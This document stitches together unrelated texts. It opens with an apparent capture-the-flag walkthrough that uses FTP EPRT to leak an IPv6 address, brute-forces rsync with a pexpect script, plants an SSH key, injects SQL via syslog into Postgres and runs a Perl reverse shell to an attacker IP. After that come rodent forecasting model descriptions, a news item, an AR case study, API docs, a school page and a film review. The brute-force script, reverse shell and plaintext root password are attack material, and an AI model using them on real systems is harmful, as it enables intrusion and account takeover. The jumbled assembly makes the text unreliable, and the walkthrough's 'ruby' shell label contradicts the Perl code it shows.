Port 80 and port 22 were open. I start to look at the webserver first. From the webserver I get a pair of credentials in order to login to ftp.
By using the credentials I log into the ftp server but I can’t find something which will trigger my attention for further movement. I use gobuster
but nothing. I do again at the website and read about Dual-Stack and another one which says something about FTP enabled with FXP. And also that they support RFC2428. So I go and search for all of these terms to see what they are.
From Cisco: Dual stack means that devices are able to run IPv4 and IPv6 in parallel. It allows hosts to simultaneously reach IPv4 and IPv6 content.
From Wikipedia: File eXchange Protocol (FXP or FXSP) is a method of data transfer which uses FTP to transfer data from one remote server to another (inter-server) without routing this data through the client’s connection. Conventional FTP involves a single server and a single client; all data transmission is done between these two. In the FXP session, a client maintains a standard FTP connection to two servers, and can direct either server to connect to the other to initiate a data transfer. The advantage of using FXP over FTP is evident when a high-bandwidth server demands resources from another high-bandwidth server, but only a low-bandwidth client, such as a network administrator working away from location, has the authority to access the resources on both servers.
This also poses some risks:
From Wikipedia: FTP bounce attack is an exploit of the FTP protocol whereby an attacker is able to use the PORT command to request access to ports indirectly through the use of the victim machine, which serves as a proxy for the request.
From IETF: This document provides a specification for a way that FTP can communicate data connection endpoint information for network protocols other than IPv4.
So I am thinking maybe we can get ipv6 address from this host by using rfc2428 which will forward my commands on my host and I can listen and get the ipv6. I Use the command from EPRT which is explained inside the RFC and I also use the quote before it to send the command to the remote ftp. The command also contains my ipv6 ip so it can reach me.
I scan the ipv6 address with nmap and find out another port.
nmap -6 -p dead:beef::250:56ff:feb9:b059 -vvv
Port 80 gives me the same website but with different ftp credentials. I try them and I can indeed access the ftp. But can’t do much.
Upon using nc to connect to port 8730 I see a message.
I switch to rsync command and try to connect to this by using the rsync. If i only do rsync it takes me throught ssh, which is on port 22. I found out that I can connect to any port by using rsync://URL
First of all I try to list all available modules. Which are basically something like directories configured for access.
I will try not to get the configuration file for rsync.
I can see a lot of directories and also why /etc/
is not showed. I also see a juicy directory which gives me a clue about a potential username.
Now I try to get /.ssh/id_rsa
from that directory.
Unfortunatelly to do that I need a password. The password from ftp didn’t work. So I try and create a script which will brute force the password for me.
import pexpect
with open('rockyou.txt', 'r') as f:
for i in f:
i = i.strip('\n')
child = pexpect.spawn('rsync -avr rsync://roy@[dead:beef::250:56ff:feb9:b059]:8730/home_roy/.ssh/id_rsa /tmp/zetta/')
child.expect ('Password:')
child.sendline (i)
print("\n"+"PASSWORD USED IS: " + i + "\n")
print(child.before.decode())
child.interact()
I redirect stdout with > to a file and then check the file to see which one didn’t error out. I found out the password is computer
.
Now I use that password to get /.ssh/id_rsa
file. But it seems there isn’t any.
With rsync I can also send files to a machine. I do it to send my own public key.
I create a key-pair with ssh-keygen. After I rename my private key to something like roy_priv.key and then give it chmod 600. The public key I rename it as authorized_keys
because this filename will be sent to the server, and ssh inside the box.
Now I can get user.txt on roy’s home directory. I also find a .tudu.xml file which includes what the user roy? have done until this time.
I get some hints there about postgresql errors,Rework syslog configuration to push all events to the DB, and something about .git.
After a bit of enumeration, I found out about a .git folder inside /etc/rsyslog.d/. I use git log -p
. And I see the changes of the commit, with green color. There is a sql query from syslog to postgres.
After a lot of help from other and searching, I need to do a [sql injection], which is not a regular one. First of all I see the postgresql logs in real time with the command tail -f /var/log/postgresql/postgresql-11-main.log
, and in another terminal I will use logger.
The logger command provides an easy way to add messages to the /var/log/syslog file from the command line or from other files.
Now on the logger command I will give -p 'local7.info'
flag which will log the messages as information level in the local7.info facility.
If I add '
in the log the error log file get’s a syntax error. Postgres escapes single quotes with backslash. I will escape that with $. I can use $
instead of a single quote.
I read this post and I try to get a shell as postgres user. Yes there is a postgres user and yes I can login to that user by looking into /etc/passwd.
I create a file on /tmp/ which includes a ruby reverse shell.
rev file contains:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<IP_ADDRESS>:7979");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
and then I execute some commands which will give me shell as postgres.
After some enumeration I see there is postgresql history saved. If I enter psql and press up arrow key or see .psql_history file I can see a password which was used to give user postgres a password.
I tried to use the password by logging with ssh as user postgres but not. So maybe the password belongs to another user. I check the .tudu again at the end.
And then I use su and give password sup3rs3cur3p4ass@root and get shell as root user.


We currently analyze and forecast rodent data at Portal using fifteen models: AutoARIMA, Seasonal AutoARIMA, ESSS, NaiveARIMA, Seasonal NaiveARIMA, nbGARCH, nbsGARCH, pGARCH, psGARCH, pevGARCH, Random Walk, Logistic, Logistic Covariates, Logistic Competition, Logistic Competition Covariates (WeecologyLab 2019).
AutoARIMA (Automatic Auto-Regressive Integrated Moving Average) is a
flexible Auto-Regressive Integrated Moving Average (ARIMA) model. ARIMA
models are defined according to three model structure parameters – the
number of autoregressive terms (p), the degree of differencing (d), and
the order of the moving average (q), and are represented as ARIMA(p, d,
q) (Box and Jenkins 1970). All submodels
are fit and the final model is selected using the
auto.arima
function in the forecast
package (Hyndman and Athanasopoulos 2013; Hyndman
2017). AutoARIMA is fit flexibly, such that the model parameters
can vary from fit to fit. Model forecasts are generated using the
forecast
function from the forecast
package (Hyndman and Athanasopoulos 2013; Hyndman
2017). While the auto.arima
function allows for
seasonal models, the seasonality is hard-coded to be on the same period
as the sampling, which is not the case for the Portal rodent surveys. As
a result, no seasonal models are evaluated within this model set, but
see the sAutoARIMA model. The model is fit using a normal distribution,
and as a result can generate negative-valued predictions and
forecasts.
sAutoARIMA (Seasonal Automatic Auto-Regressive Integrated Moving
Average) is a flexible Auto-Regressive Integrated Moving Average (ARIMA)
model. ARIMA models are defined according to three model structure
parameters – the number of autoregressive terms (p), the degree of
differencing (d), and the order of the moving average (q), and are
represented as ARIMA(p, d, q) (Box and Jenkins
1970). All submodels are fit and the final model is selected
using the auto.arima
function in the
forecast package (Hyndman and
Athanasopoulos 2013; Hyndman 2017). sAutoARIMA is fit flexibly,
such that the model parameters can vary from fit to fit. Model forecasts
are generated using the forecast
function from the
forecast package (Hyndman and
Athanasopoulos 2013; Hyndman 2017). While the
auto.arima
function allows for seasonal models, the
seasonality is hard-coded to be on the same period as the sampling,
which is not the case for the Portal rodent surveys. We therefore use
two Fourier series terms (sin and cos of the fraction of the year) as
external regressors to achieve the seasonal dynamics in the sAutoARIMA
model. The model is fit using a normal distribution, and as a result can
generate negative-valued predictions and forecasts.
ESSS (Exponential Smoothing State Space) is a flexible exponential
smoothing state space model (Hyndman et al.
2008). The model is fit using the ets
function in
the forecast package (Hyndman
2017) with the allow.multiplicative.trend
argument
set to TRUE
. Model forecasts are generated using the
forecast
function from the forecast
package (Hyndman and Athanasopoulos 2013; Hyndman
2017). Models fit using ets
implement what is known
as the “innovations” approach to state space modeling, which assumes a
single source of noise that is equivalent for the process and
observation errors (Hyndman et al. 2008).
In general, ESSS models are defined according to three model structure
parameters – error type, trend type, and seasonality type (Hyndman et al. 2008). Each of the parameters
can be an N (none), A (additive), or M (multiplicative) state (Hyndman et al. 2008). However, because of the
difference in period between seasonality and sampling of the Portal
rodents combined with the hard-coded single period of the
ets
function, we do not include the seasonal components to
the ESSS model. ESSS is fit flexibly, such that the model parameters can
vary from fit to fit. The model is fit using a normal distribution, and
as a result can generate negative-valued predictions and forecasts.
NaiveARIMA (Naive Auto-Regressive Integrated Moving Average) is a
fixed Auto-Regressive Integrated Moving Average (ARIMA) model of order
(0,1,0). The model is fit using the Arima
function in the
forecast package (Hyndman and
Athanasopoulos 2013; Hyndman 2017). Model forecasts are generated
using the forecast
function from the
forecast package (Hyndman and
Athanasopoulos 2013; Hyndman 2017). While the Arima
function allows for seasonal models, the seasonality is hard-coded to be
on the same period as the sampling, which is not the case for the Portal
rodent surveys. As a result, NaiveARIMA does not include seasonal terms,
but see the sNaiveARIMA model. The model is fit using a normal
distribution, and as a result can generate negative-valued predictions
and forecasts.
sNaiveARIMA (Seasonal Naive Auto-Regressive Integrated Moving
Average) is a fixed Auto-Regressive Integrated Moving Average (ARIMA)
model of order (0,1,0). The model is fit using the Arima
function in the forecast package (Hyndman and Athanasopoulos 2013; Hyndman 2017).
Model forecasts are generated using the forecast
function
from the forecast package (Hyndman and Athanasopoulos 2013; Hyndman 2017).
While the Arima
function allows for seasonal models, the
seasonality is hard-coded to be on the same period as the sampling,
which is not the case for the Portal rodent surveys. We therefore use
two Fourier series terms (sin and cos of the fraction of the year) as
external regressors to achieve the seasonal dynamics in the NaiveARIMA
model. The model is fit using a normal distribution, and as a result can
generate negative-valued predictions and forecasts.
nbGARCH (Negative Binomial Auto-Regressive Conditional
Heteroskedasticity) is a generalized autoregressive conditional
heteroskedasticity (GARCH) model with overdispersion (i.e., a
negative binomial response). The model is fit to the interpolated data
using the tsglm
function in the tscount
package (Liboschik et al. 2017). GARCH
models are generalized ARMA models and are defined according to their
link function, response distribution, and two model structure parameters
– the number of autoregressive terms (p) and the order of the moving
average (q), and are represented as GARCH(p, q) (Liboschik et al. 2017). The nbGARCH model is
fit using the log link and a negative binomial response (modeled as an
over-dispersed Poisson), as well as with p = 1 (first-order
autoregression) and q = 13 (approximately yearly moving average). The
tsglm
function in the tscount package
(Liboschik et al. 2017) uses a
(conditional) quasi-likelihood based approach to inference and models
the overdispersion as an additional parameter in a two-step approach.
This two-stage approach has only been minimally evaluated, although
preliminary simulation-based studies are promising (Liboschik, Fokianos, and Fried 2017). Forecasts
are made using the portalcasting method function
forecast.tsglm
as forecast
.
nbsGARCH (Negative Binomial Seasonal Auto-Regressive Conditional
Heteroskedasticity) is a generalized autoregressive conditional
heteroskedasticity (GARCH) model with overdispersion (i.e., a
negative binomial response) and seasonal predictors modeled using two
Fourier series terms (sin and cos of the fraction of the year) fit to
the interpolated data. The model is fit using the tsglm
function in the tscount package (Liboschik et al. 2017). GARCH models are
generalized ARMA models and are defined according to their link
function, response distribution, and two model structure parameters –
the number of autoregressive terms (p) and the order of the moving
average (q), and are represented as GARCH(p, q) (Liboschik et al. 2017). The nbsGARCH model is
fit using the log link and a negative binomial response (modeled as an
over-dispersed Poisson), as well as with p = 1 (first-order
autoregression) and q = 13 (approximately yearly moving average). The
tsglm
function in the tscount package
(Liboschik et al. 2017) uses a
(conditional) quasi-likelihood based approach to inference and models
the overdispersion as an additional parameter in a two-step approach.
This two-stage approach has only been minimally evaluated, although
preliminary simulation-based studies are promising (Liboschik, Fokianos, and Fried 2017). Forecasts
are made using the portalcasting method function
forecast.tsglm
as forecast
.
pGARCH (Poisson Auto-Regressive Conditional Heteroskedasticity) is a
generalized autoregressive conditional heteroskedasticity (GARCH) model.
The model is fit using the tsglm
function in the
tscount package (Liboschik et
al. 2017). GARCH models are generalized ARMA models and are
defined according to their link function, response distribution, and two
model structure parameters – the number of autoregressive terms (p) and
the order of the moving average (q), and are represented as GARCH(p, q)
(Liboschik et al. 2017). The pGARCH model
is fit using the log link and a Poisson response, as well as with p = 1
(first-order autoregression) and q = 13 (approximately yearly moving
average). Forecasts are made using the portalcasting
method function forecast.tsglm
as
forecast
.
psGARCH (Poisson Seasonal Auto-Regressive Conditional
Heteroskedasticity) is a generalized autoregressive conditional
heteroskedasticity (GARCH) model with seasonal predictors modeled using
two Fourier series terms (sin and cos of the fraction of the year) fit
to the interpolated data. The model is fit using the tsglm
function in the tscount package (Liboschik et al. 2017). GARCH models are
generalized ARMA models and are defined according to their link
function, response distribution, and two model structure parameters –
the number of autoregressive terms (p) and the order of the moving
average (q), and are represented as GARCH(p, q) (Liboschik et al. 2017). The pGARCH model is fit
using the log link and a Poisson response, as well as with p = 1
(first-order autoregression) and q = 13 (approximately yearly moving
average). Forecasts are made using the portalcasting
method function forecast.tsglm
as
forecast
.
pevGARCH (Poisson Environmental Variable Auto-Regressive Conditional
Heteroskedasticity) is a generalized autoregressive conditional
heteroskedasticity (GARCH) model. The response variable is Poisson, and
a variety of environmental variables are considered as covariates. The
overall model is fit using the portalcasting function
meta_tsglm
that iterates over the submodels, which are fit
using the tsglm
function in the tscount
package (Liboschik et al. 2017). GARCH
models are generalized ARMA models and are defined according to their
link function, response distribution, and two model structure parameters
– the number of autoregressive terms (p) and the order of the moving
average (q), and are represented as GARCH(p, q) (Liboschik et al. 2017). The pevGARCH model is
fit using the log link and a Poisson response, as well as with p = 1
(first-order autoregression) and q = 13 (yearly moving average). The
environmental variables potentially included in the model are min, mean,
and max temperatures, precipitation, and NDVI. The tsglm
function in the tscount package (Liboschik et al. 2017) uses a (conditional)
quasi-likelihood based approach to inference. This approach has only
been minimally evaluated for models with covariates, although
preliminary simulation-based studies are promising (Liboschik, Fokianos, and Fried 2017). The
overall model is composed of 11 submodels from a (nonexhaustive)
combination of the environmental covariates – [1] max temp, mean temp,
precipitation, NDVI; [2] max temp, min temp, precipitation, NDVI; [3]
max temp, mean temp, min temp, precipitation; [4] precipitation, NDVI;
[5] min temp, NDVI; [6] min temp; [7] max temp; [8] mean temp; [9]
precipitation; [10] NDVI; and [11] -none- (intercept-only). The single
best model of the 11 is selected based on AIC. Forecasts are made using
the portalcasting method function
forecast.tsglm
as forecast
.
Random Walk fits a hierarchical log-scale density random walk model
with a Poisson observation process using the JAGS (Just Another Gibbs
Sampler) infrastructure (Plummer 2003).
Similar to the NaiveArima model, Random Walk has an ARIMA order of
(0,1,0), but in Random Walk, it is the underlying density that takes a
random walk on the log scale, whereas in NaiveArima, it is the raw
counts that take a random walk on the observation scale. There are two
process parameters – mu (the density of the species at the beginning of
the time series) and sigma (the standard deviation of the random walk,
which is Gaussian on the log scale). The observation model has no
additional parameters. The prior distributions for mu is informed by the
available data collected prior to the start of the data used in the time
series. mu is normally distributed with a mean equal to the average
log-scale density and a standard deviation of 0.04. sigma was given a
uniform distribution between 0 and 1. The Random Walk model is fit and
forecast using the portalcasting functions
fit_runjags
and forecast.runjags
(called as
forecast
), respectively.
Logistic fits a hierarchical log-scale density logistic growth model
with a Poisson observation process using the JAGS (Just Another Gibbs
Sampler) infrastructure (Plummer 2003).
Building upon the Random Walk model, Logistic expands upon the “process
model” underlying the Poisson observations. There are four process
parameters – mu (the density of the species at the beginning of the time
series), sigma (the standard deviation of the random walk, which is
Gaussian on the log scale), r (growth rate), and K (carrying capacity).
The observation model has no additional parameters. The prior
distributions for mu and K are slightly informed in that they are vague
but centered using the available data and sigma and r are set with vague
priors. mu is normally distributed with a mean equal to the average
log-scale density and a standard deviation of 0.04. K is modeled on the
log-scale with a prior mean equal to the log maximum count and a
standard deviation of 0.04. r is given a normal prior with mean 0 and
standard deviation 0.04. sigma was given a uniform distribution between
0 and 1. The Logistic model is fit and forecast using the
portalcasting functions fit_runjags
and
forecast.runjags
(called as forecast
),
respectively.
Logistic Covariates fits a hierarchical log-scale density logistic
growth model with a Poisson observation process using the JAGS (Just
Another Gibbs Sampler) infrastructure (Plummer
2003). Building upon the Logistic model, Logistic Covariates
expands upon the “process model” underlying the Poisson observations.
There are six process parameters – mu (the density of the species at the
beginning of the time series), sigma (the standard deviation of the
random walk, which is Gaussian on the log scale), and then intercept and
slope parameters for r (growth rate) and K (carrying capacity) as a
function of covariates (r being a function of the integrated warm rain
over the past 3 lunar months and K being a function of average NDVI over
the 13 lunar months). The observation model has no additional
parameters. The prior distributions for mu and the K interceptare
slightly informed in that they are vague but centered using the
available data and sigma and r are set with vague priors. mu is normally
distributed with a mean equal to the average log-scale density and
standard deviation 0.04. The K intercept is modeled on the log-scale
with a prior mean equal to the maximum count and standard deviation
0.04. The r intercept is given a normal prior with mean 0 and standard
deviation 0.04. sigma was given a uniform distribution between 0 and 1.
The slopes for r and log-scale K were given priors with mean 0 and
standard deviation 1. The Logistic Covariates model is fit and forecast
using the portalcasting functions
fit_runjags
and forecast.runjags
(called as
forecast
), respectively.
Logistic Competition fits a hierarchical log-scale density logistic
growth model with a Poisson observation process using the JAGS (Just
Another Gibbs Sampler) infrastructure (Plummer
2003). Building upon the Logistic model, Logistic Competition
expands upon the “process model” underlying the Poisson observations.
There are six process parameters – mu (the density of the species at the
beginning of the time series), sigma (the standard deviation of the
random walk, which is Gaussian on the log scale), and then intercept and
slope parameters for r (growth rate) and K (carrying capacity) as a
function of competitior density (K being a function of current DO
counts). The observation model has no additional parameters. The prior
distributions for mu and the K intercept are slightly informed in that
they are vague but centered using the available data and sigma and r are
set with vague priors. mu is normally distributed with a mean equal to
the average log-scale density and standard deviation 0.04. The K
intercept is modeled on the log-scale with a prior mean equal to the
maximum of past counts
and standard deviation 0.04. The r
intercept is given a normal prior with mean 0 and standard deviation
0.04. sigma was given a uniform distribution between 0 and 1. The slope
for log-scale K was given a prior with mean 0 and standard deviation 1.
The Logistic Competition model is fit and forecast using the
portalcasting functions fit_runjags
and
forecast.runjags
(called as forecast
),
respectively.
Logistic Competition Covariates fits a hierarchical log-scale density
logistic growth model with a Poisson observation process using the JAGS
(Just Another Gibbs Sampler) infrastructure (Plummer 2003). Building upon the Logistic
model, Logistic Competition Covariates expands upon the “process model”
underlying the Poisson observations. There are seven process parameters
– mu (the density of the species at the beginning of the time series),
sigma (the standard deviation of the random walk, which is Gaussian on
the log scale), and then intercept and slope parameters for r (growth
rate) and K (carrying capacity) with r being a function of the
integrated warm rain over the past 3 lunar months and K being a function
of average NDVI over the past 13 lunar months as well as a function of
current DO count). The observation model has no additional parameters.
The prior distributions for mu and the K intercept are are slightly
informed in that they are vague but centered using the available data
and sigma and r are set with vague priors. mu is normally distributed
with a mean equal to the average log-scale density and standard
deviation 0.04. The K intercept is modeled on the log-scale with a prior
mean equal to the maximum count and standard deviation 0.04. The r
intercept is given a normal prior with mean 0 and standard deviation
0.04. Sigma was given a uniform distribution between 0 and 0.001. The
slope for r was given a normal prior with mean 0 and standard deviation
1, whereas the normal priors for the log K slopes were given mean 0 and
standard deviation 0.0625. The Logistic Competition Covariates model is
fit and forecast using the portalcasting functions
fit_runjags
and forecast.runjags
(called as
forecast
), respectively.


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Delaware teams with Google to help fight the opioid crisis
WILMINGTON, Del. (AP) - The state of Delaware has teamed up with Google to help people seeking treatment for opioid addiction.
The News Journal reported Thursday that words related to the opioid crisis are searched for in Delaware more than in any other state. But the top set of results won’t lead to local information or someone who can help.
Google is trying to change that. It will curate an information box for people searching for addiction treatment. It will include a hotline as well as a link to information specific to Delaware.
Delaware is the first state to team up with Google as well as the Partnership for Drug-Free Kids.
The initiative comes at a time when the state is on pace to match last year’s record-setting death toll of 400 fatal overdoses.
Information from: The News Journal of Wilmington, Del., http://www.delawareonline.com
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Except for 3c products, AliExpress is also famous for its fashion style. While we face a problem that more than ninety per cent of our sellers are Chinese sellers who are experienced in making clothes for Asian marketplaces. So the size of most clothes is designed and manufactured for Asian customers in their sizes, not for people from North America or Europe.
UX team
Tied to business: The product should always have the potential and finally proved to bring business value.
Make a difference: AR technology seems novel on mobile, while the implementation of it is not. How to make it stand out and make a difference is a real challenge.
Play multiple roles at the same time: more communication works are required to be down by acting as a product designer.
To push this project forward. I need to show people the ability of AR technology and at the same time propose a solution to the size and fit problem. Only then can I get engineer resource to help me develop the full function.
Since AR Kit released for just a few monthes, I tried to build a mobile AR demo with Xcode to show to people what AR can do with the size and fit problem.
Since people were enjoying AR experience brought by the demo I made, I saw more possibility of this project. So I started to move on and spend time on the concept design. If I was lucky enough, people would like my concept and invest in my idea.
As part of our job, we keep tracking user feedbacks in our everyday life. Feedbacks about the size and fit problem is one of the worst one among all of them. The average SNAD rate (Significantly Not as Described) in our platform is 10%, while the rate of clothing category is more than 20% during our evaluation.
We mainly have three steps to build the whole system.
1. Data Collection: Collecting the size and fit information of users without doing harm to their privacy
2. Build Size Library: Put the size and fit information together to build a size library so that user is able to manage their own size and fit information.
3. A.I. Recommendation: Based on size library built, we’ll finally be able to recommende a suitable size for our customers.
Workflow shown below mainly demonstrate the way how user build their own size library from zero to one. Here are two main entrances for user thourghout the whole shopping experience: My Account Page& Product Option Page.
By opening a new entrance in My Account page, user is able to have easy access to the size library of their own.
How to get the date information we want? The first idea occurred to us is to purchase. By consulting our financial and legal team, we got in touch with some of the companies that can provide database we want, while we ended up with some legal issues during the collaboration.
Thus, we tried another way out: build our own data library by encouraging customers to establish their size library. Here we provide three ways for users to build their size library:
1. import form order history: select the clothes in the order history to set as your standard size
2. Measure with AR ruler: AR ruler is an augmented reality ruler that allows people to measure with their mobile phone
3. input by myself: user will be able to input size and fit information manually to build the library
4. Machine learning from user’s feedbacks: If there is no size and fit information of our users, machine learning from the keywords of user’s feedbacks will also help.
There are basiclly two stages of the A.I Recommendation. When there is no size information detected, user reviews can serve as a reference.
Found out that the size and fit issues always happened in the US and Europe, thus we choose categories whose SNAD rate ranked top 5.
It’s our first time to integrate AR ability into our app with the help AR Kit, which may help with the data collection.
With constant communication with our dev, we finnaly decide to divide whole project into two phases for the lack of engineer resource.
Integrate AR ability into camera
Build the whole workflow including size library and A.I. Recommendation.
Though we planned to push the project online, we didn’t set up any commercial goals and make it clear to all stakeholders. Which make it hard to evaluate if phase one goes fine or not. Finally, the engineer quit the project and I failed to push the phase two online.
It’s our first time to integrate AR ability into our app, which make it possible for user to measure size and fit through AliExpress.
Even though we failed to make the phase two online, the AR Ability we built soon serves as an important ability for Alibaba 11.11 Global Shopping Festival which is known as AR Lucky Coupon: Scan certain patterns, then get lucky coupon.
AR Lucky Coupon has served as one of the main games of Alibaba 11.11 Global Shopping Festival for 2 years, maybe there is another year. Wish you download and enjoy, thanks.


Project Idea: Sticky note UI in jquery
Move me...
Hey, you found a secret! Resize me by dragging my edges!
Remember! Call Sarah @<PHONE_NUMBER>
Milk Eggs Bread


class Kafka::TopicPartitionList
- Kafka::TopicPartitionList
- Reference
- Object
Overview
A growable list of Topic+Partitions.
Defined in:
kafka/topic_partition_list.crClass Method Summary
- .new(rkparlist : LibKafka::TopicPartitionListT)
-
.new(size)
Create a new list/vector Topic+Partition container.
Instance Method Summary
-
#add(topic : String, partition : Int32)
Add topic+partition to list.
-
#add_range(topic : String, start : Int32, stop : Int32)
Add range of partitions from start to stop inclusive.
-
#copy : TopicPartitionList
Make a copy of an existing list.
-
#del(topic : String, partition : Int32)
Delete partition from list.
-
#del_by_idx(idx : LibC::Int)
Delete partition from list.
-
#destroy
Free all resources used by the list and the list itself.
- #to_unsafe : LibKafka::TopicPartitionListT | Pointer(LibKafka::TopicPartitionListT)
-
#topic_partition_list_find(topic : String, partition : Int32)
Find element by topic and partition.
-
#topic_partition_list_set_offset(topic : String, partition : Int32, offset : Int64)
Set offset for topic and partition.
Class Method Detail
Instance Method Detail
def add_range(topic : String, start : Int32, stop : Int32)
#
Add range of partitions from start to stop inclusive.
def to_unsafe : LibKafka::TopicPartitionListT | Pointer(LibKafka::TopicPartitionListT)
#
def topic_partition_list_find(topic : String, partition : Int32)
#
Find element by topic and partition.
def topic_partition_list_set_offset(topic : String, partition : Int32, offset : Int64)
#
Set offset for topic and partition.


DAV Public School, Rajinder Nagar also has a grand set-up of computers starting from class I to class XII. The school has two labs for Practical work, one is for Classes I to X and other is for classes XI and XII. The school is running computer education as per the guidelines set by CBSE. The lab is fully equipped with hardware and software resources. The school has high configuration computers and peripherals so that they can also work in multimedia environment. For hardware maintenance a competent group of engineers has been assigned the responsibilities.
From time to time, programs and competitions of computer quizzes give boost to the students to upgrade their knowledge. The students have also won a number of prizes in different Inter school competitions. A well qualified faculty always supports students to achieve positive results. The school also conducts Computer Literacy Programmes for other subject teachers, so that teachers can introduce new methods of teaching. The school is trying to impart computer education in such a way that after school days, the youth of India may fulfill the growing needs of Information Technology and industry to help the nation in every possible way.
Well equiped laboratories in Physics, Chemistry, Biology, Home Science, Computer and Engg. Drawing have been arranged in the School. They are under the charge of qualified staff and Lab. Asstt. This facility has enabled the students to perform experiments, individually, under the supervision of teachers.
At the middle level, experiments are demonstrated in the Class rooms.


FREAKS (director: Tod Browning; screenwriter: Al Boasberg/Willis Goldbeck/Leon Gordon/Edgar Allan Woolf/story suggested from Tod Robbin's "Spur"; cinematographer: Merritt B. Gerstad; cast: Wallace Ford (Phroso), Leila Hyams (Venus ), Johnny Eck (Johnny the Half Boy), Olga Baclanova (Cleopatra), Harry Earles (Hans), Daisy Earles (Frieda), Henry Victor (Hercules), Roscoe Ates (Roscoe), Daisy Hilton (Daisy, a Siamese Twin), Violet Hilton (Violet, a Siamese Twin), Rose Dione (Madame Tetrallini), Josephine Joseph (Half Woman, Half Man), Albert Conti (Landowner), Edward S. Brophy (Rollo Brother), Olga Roderick (Bearded Lady), Matt McHugh (Rollo Brother), Jennie/Elvira Snow/Schlitze (Pinheads), Pete Robinson (Human Skeleton), 1932)
Reviewed by Dennis Schwartz
Tod Browning's (Dracula/The Unholy Three) outstanding film addresses the point about watching a film such as this one, with a long-winded rejoinder (this "crawl" was added to the film after its original release by the producer who bought the film from MGM, Dwain Esper). It is basically an apology to his audience for the freaks used in the film, taking note of the usual revulsion most people have when they view the abnormal, as he points out that the majority of freaks, themselves, are endowed with normal thoughts. Looking at those who are pinheads, limbless, dwarves, a bearded lady and her baby bearded girl, twins physically attached to each other by the hip, and the assorted other real freaks used in this film, has its initial shock to those not used to seeing the abnormal, but that should soon wear off and what remains is how sympathetic the audience becomes to the freaks, who are part of a travelling circus sideshow. They seem so childlike in nature and close-knit, as they bond together for protection from a hostile outside world. This apology was not needed.
MGM has foolishly edited out 30-minutes of the film, thus reducing this B&W horror film to around 63-minutes. The price paid, is that character development for some of the subplots fails to materialize with any conviction felt.
This movie was banned in Great Britain until 1963. Which is a revolting statement about where that country's sense of freedom of speech is at, more than it was a reflection of how gross the picture was.
Browning, who had a background in the circus and made two previous films about circus life, The Unknown and The Show, was tarnished by the studio system after he made this film, a film that lost money for Irving Thalberg's studio and one the executives despised having their name attached to.
It is film that will build to a climax, escalating in violence and tension, turning to a nightmare, where revenge for the obscene villains, who happen to be the ones who are normal, but are tormenting a midget, progresses to a point where it only seems right that the freaks gang up on them and give the heavies the due they deserve.
The story revolves around two midgets who are engaged and are part of the travelling circus, the sideshow ringmasters, Hans (Harry Earles) and Frieda (Daisy Earles), who in real life are siblings. He lusts after a full-grown woman, a trapeze artist in the circus who looks like Mae West, Cleopatra (Olga Baclanova). She finds it amusing to be with him and relishes her role in breaking up his engagement with Frieda, as she gets him to keep giving her expensive gifts and laughs callously at him behind his back, with her boyfriend, the brutish strongman in the circus, Hercules (Henry Victor). When Frieda confronts her to stop making a fool of Hans, she mistakingly reveals to Cleo that Hans has inherited a fortune. This prompts the cold-hearted Cleo to get Hans to marry her.
The wedding celebration turns into a macabre scene, that is both vexing and titillating to a certain degree.  The normal friends of the strongman are laughing derisively at the spiritually crushed Hans, as a limbless freak starts to insanely chant "gooble-gobble" while perched on the banquet table. The freaks then all chant repeatedly in unison, "One of us; we accept her;" but Cleopatra turns colors, the joke is over, as she defiantly says I am no freak and calls them freaks.
Back in Cleo's carnival wagon, she poisons Hans' drink, but Venus confronts her former sadist lover, Hercules, and threatens him unless he tells the doctor treating Hans about the poison. With the medicine the doctor gives, Cleo attempts to poison Hans again as she gives him his dosage, but this time she is surrounded by all the freaks who band together and attack her, as she somehow gets mutilated offscreen.
Meanwhile, in the heavy rain, Hercules goes after Venus (Leila Hyams), a seal trainer, who is pulling her carnival wagon out to escape from his fury when Phroso the clown (Wallace Ford) comes to her rescue, and when he can't handle Hercules by himself, the freaks stick the heavy with a knife and that's the last we see of that dude. Reportedly, the part of him being castrated was cut from the film.
The final scene, which has the look of being tacked on, was indeed tacked on, as the studio insisted on a happy ending. Hans has gone into retreat, living like a millionaire in an elegant house, but is unhappy, when Phroso and Venus bring along Daisy and the two lovebirds reconcile.
I would have to think because of the way the film was cut, the characters of Phroso and his lady friend Venus, were never developed and remain dry portrayals. Their roles were just not that interesting.
The final revenge of the freaks, is that they made Cleopatra a part of the sideshow, she is featured as the "Feathered Hen," a limbless figure with feathers, unable to talk, who puts a fright into the visitors viewing her in a cage. She is introduced by a carnival barker who manufactures some story to go with her condition about a royal prince shooting himself for her love. That is how the film opened and closed.
The director did make three other films (Mark of the Vampire (1935)/The Devil Doll (1936)/Miracles for Sale (39)) after this one that were moderately successful, and then retired to live a very rich life.
The obvious themes of the film are that there is strength in numbers, that the beauty of an individual should be judged by their inner character and not by their outward appearance, that we are all human beings and that to mock someone else is like mocking ourselves, and that one shouldn't prejudge individuals in a biased way. If those aims are controversial, then it is no wonder there is still so much irrational hatred in the world. And by the way, Browning did not exploit the freaks, as the critics in the 1930s said, he made the normal people who were intolerant to be the grotesque ones.
REVIEWED ON 1/5/2000 GRADE: A-
Dennis Schwartz: "Ozus' World Movie Reviews"
http://www.sover.net/~ozus
<EMAIL_ADDRESS>© ALL RIGHTS RESERVED DENNIS SCHWARTZ
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Files CCore/src/task/TaskContext.cpp
This part provides an implementation of the task context functions. These functions are declared in the XCore header TaskCore.h. Each task has an associated block of memory, this block is used to preserve the task context during a task switch. Task context includes CPU register values and some global variables values. When a task is detached from the CPU, these values are preserved in the task context. When a task is regain the CPU, the task context is used to restore the CPU registers and global variables, included in the task context.
/* class Task::Internal */ class Task::Internal { .... // context -- implemented in platform static void ContextInit(void *context,void *stack,ulen stack_len,void *task); static void * GetContext(); static ulen GetContextLen(); static void SwitchContext_int(void *context); static void SwitchContext_task(void *context); .... };
